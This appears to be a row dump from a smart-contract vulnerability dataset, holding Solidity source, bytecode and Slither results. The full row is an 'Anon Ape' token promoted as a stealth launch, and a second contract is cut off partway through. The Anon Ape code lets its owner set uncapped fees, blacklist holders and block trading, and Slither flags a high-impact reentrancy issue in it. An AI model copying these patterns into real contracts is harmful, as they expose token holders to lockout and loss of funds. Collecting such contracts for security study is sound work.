address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x4cf185914042aa44b933376aa08ed0c07aa63c05 | /**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/**
Those who missed Cult Dao will win it this Time
Anonymous Launch, Spread the word
Find the Anon Ape
https://t.me/anonnape
Find us and we shall Moon.......
-Ape Master
Soon.. Stealth..
,/
,'/
,' /
,' /_____,
.'____ ,'
/ ,'
/ ,'
/,'
/'
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract anonapedao is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anon Ape";
string private constant _symbol = "Anon Ape";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3F076FFc06ea58d32f8D5899e0B1eF41Ac95dB7f);
address payable private _marketingAddress = payable(0x3F076FFc06ea58d32f8D5899e0B1eF41Ac95dB7f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b506040805180820182526008815267416e6f6e2041706560c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d9dc084f1ff915215eea52805f98abcbaafd2dda077943243a09fff709895c8864736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,100 |
0x6e332e1142957045bcd47f37f003c939691f0c80 | pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title VIPCHAINTokenSpecs
* @dev the interface of VIPCHAINTokenSpecs
*/
contract VIPCHAINTokenSpecs {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract VIPCHAINToken is ERC20,VIPCHAINTokenSpecs,Ownable {
using SafeMath for uint256;
string public name = "VIPCHAINToken";
string public symbol = "VPC";
uint public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 2 hours; // minimum age for coin age: 2H
uint public stakeMaxAge = 2 days; // stake age of full weight: 2D
uint public maxMintProofOfStake = 10**17; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function VIPCHAINToken() {
